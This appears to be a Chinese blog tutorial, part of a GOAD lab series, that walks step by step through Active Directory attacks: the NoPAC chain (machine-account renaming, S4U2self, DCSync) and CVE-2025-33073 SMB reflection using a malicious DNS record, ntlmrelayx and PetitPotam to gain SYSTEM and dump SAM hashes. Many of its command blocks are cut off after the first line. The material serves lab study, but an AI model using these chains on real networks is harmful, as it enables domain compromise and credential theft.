这篇文章会学到什么
- 如何判断当前域环境是否满足 NoPAC 的利用前提
- 如何通过机器账户伪造、S4U2self 与 DCSync 打到域控
- 如何利用 CVE-2025-33073 把未强制 SMB Signing 的主机打成 SYSTEM
- 如何清理实验中创建的 DNS 记录与残留痕迹
NoPAC
- 我不会重复介绍这个漏洞，网络上有大把的介绍文章和原理分析
- GitHub 上有不少自动化利用代码，比如 cube0x0/noPac 和 Ridter/noPac。
- 我喜欢用Kali，所以我们只在Kali上用手动的方案来进行攻击
检查是否具有该漏洞
这次攻击使用的账户是 north/jon.snow:iknownothing，我们在 Part2 里通过 Kerberoasting 拿到的。
1 | nxc smb 192.168.56.0/24 -u 'north\jon.snow' -p 'iknownothing' -M nopac |
两次TGT的size不一样，有NoPAC漏洞。
同时我们要检查我们当前使用的域账户是否有添加计算机账户的配额，默认都是10
1 | nxc ldap 192.168.56.0/24 -u north\\jon.snow -p iknownothing -M maq |
两个条件都满足才能用NoPAC漏洞。（MAQ为0时也可以打，具体由读者自行研究）
工具准备
1 | git clone https://github.com/dirkjanm/krbrelayx.git |
另外还要准备 renameMachine.py：
进行攻击
- 首先添加一个机器账户
1 | ┌──(kali㉿192)-[~] |
- 清除添加的机器中的SPN属性
1 | ┌──(kali㉿192)-[~/krbrelayx] |
- 将机器账户的 sAMAccountName，更改为 DC 的机器账户名字，注意后缀不带 $
1 | ┌──(kali㉿192)-[~/krbrelayx] |
- 用假冒域控的这个机器账户申请TGT
1 | ┌──(kali㉿192)-[~/krbrelayx] |
把名字再改回去
1 | ┌──(kali㉿192)-[~/krbrelayx] |
- 通过 S4U2self 协议向 DC 请求 ST
1 | export KRB5CCNAME=WINTERFELL.ccache |
- 通过获取的ST来进行DCSync
1 | ┌──(kali㉿192)-[~/krbrelayx] |
CVE-2025-33073
前面在 Part3 里只是顺手提了一句，这里把具体打法补完整。这个漏洞的本质，仍然是把目标机器被强制出来的 SMB 认证“反射”回它自己。只要目标没有强制 SMB Signing，最后就有机会直接拿到这台机器的 SYSTEM。
利用前提
这条链子需要满足几个条件：
- 我们已经有一个普通域用户：
north/jon.snow:iknownothing - 当前用户能够向域内 DNS 添加记录
- 目标机器没有强制 SMB Signing
- 我们能够强制目标对外发起 SMB 认证
在 GOAD 里，我这里选择 CASTELBLACK 作为受害机。原因很简单：它在前面的扫描结果里已经明确显示 signing: False，比去碰 WINTERFELL 这种域控现实得多。
添加恶意 DNS 记录
先往 north.sevenkingdoms.local 的 DNS 里添加一条恶意记录。这里命令最后的 192.168.56.11 只是负责写 DNS 记录的域控，不是最终要打的目标；真正指向的是我们的攻击机 192.168.56.138。
1 | python3 dnstool.py -u 'north\jon.snow' -p 'iknownothing' \ |
这里我直接使用 localhost1UWhRCA... 这条记录名。相比按机器名单独构造记录，这种写法更通用，因为去掉后面的 marshalled target information 之后，剩下的就是 localhost，对不同机器都能复用。
开启中继监听
既然真正的目标是 CASTELBLACK，那么 ntlmrelayx 的中继目标也应该指向它自己：
1 | impacket-ntlmrelayx -t smb://castelblack.north.sevenkingdoms.local -smb2support |
如果你想在利用成功后继续交互，而不是只看默认的后利用动作，也可以直接打开 SOCKS：
1 | impacket-ntlmrelayx -t smb://castelblack.north.sevenkingdoms.local -smb2support --socks |
使用 PetitPotam 强制认证
接下来把 CASTELBLACK 的认证强制打到我们刚注册的恶意 DNS 名上：
1 | python3 PetitPotam.py -u 'north\jon.snow' -p 'iknownothing' \ |
如果目标可被强制认证，同时 SMB Signing 没有强制开启，那么 ntlmrelayx 这边通常就能看到认证成功。
成功后的结果
默认情况下，ntlmrelayx 在 SMB 目标上成功反射后，往往会直接执行一套标准后利用动作，例如：
- 检查并启动
RemoteRegistry - 读取目标机器的
SAM - 导出本地用户哈希
这已经足够证明我们拿到的是这台机器的高权限上下文了。根据 Synacktiv 的分析，这条链子成功时，最终拿到的是目标机器上的 SYSTEM 身份，而不是一个普通的机器账户权限。
如果你前面开的是 --socks，那后面就可以像 Part3 一样，继续通过代理去跑 smbexec、查看共享文件，或者执行你自己的命令。
这个洞为什么能打
简单理解一下就是：
- 我们先注册一个特殊格式的 DNS 名，让目标机器访问这个名字时，把它识别成“本地目标”。
- 然后再强制目标去连接这个名字。
- 目标发起 SMB 认证时，会走本地 NTLM 认证逻辑。
- 我们把这份认证再中继回目标自己的 SMB 服务。
- 由于这次被强制出来的认证来自系统服务，最终就能在目标上拿到
SYSTEM。
也正因为如此，这个洞对 signing: True 的机器就不太好使了。SMB 签名一旦强制开启，整条反射链基本就断了。
清理痕迹
实验做完以后，记得把恶意 DNS 记录删掉。最简单的做法，就是把上面 dnstool.py 里的 --action add 改成 --action delete，记录名保持一致即可。
小结
Part4 里我们主要演示了两条思路：
- NoPAC：从普通域用户直接打到域控
- CVE-2025-33073：利用 SMB 反射把未强制签名的目标机器打成 SYSTEM
这两条链子都说明了一件事：在域环境里，“拿到一个普通域用户”很多时候已经不是低权限起点了。只要目标配置不严、链路又刚好走得通，后面的空间会非常大。
]]>
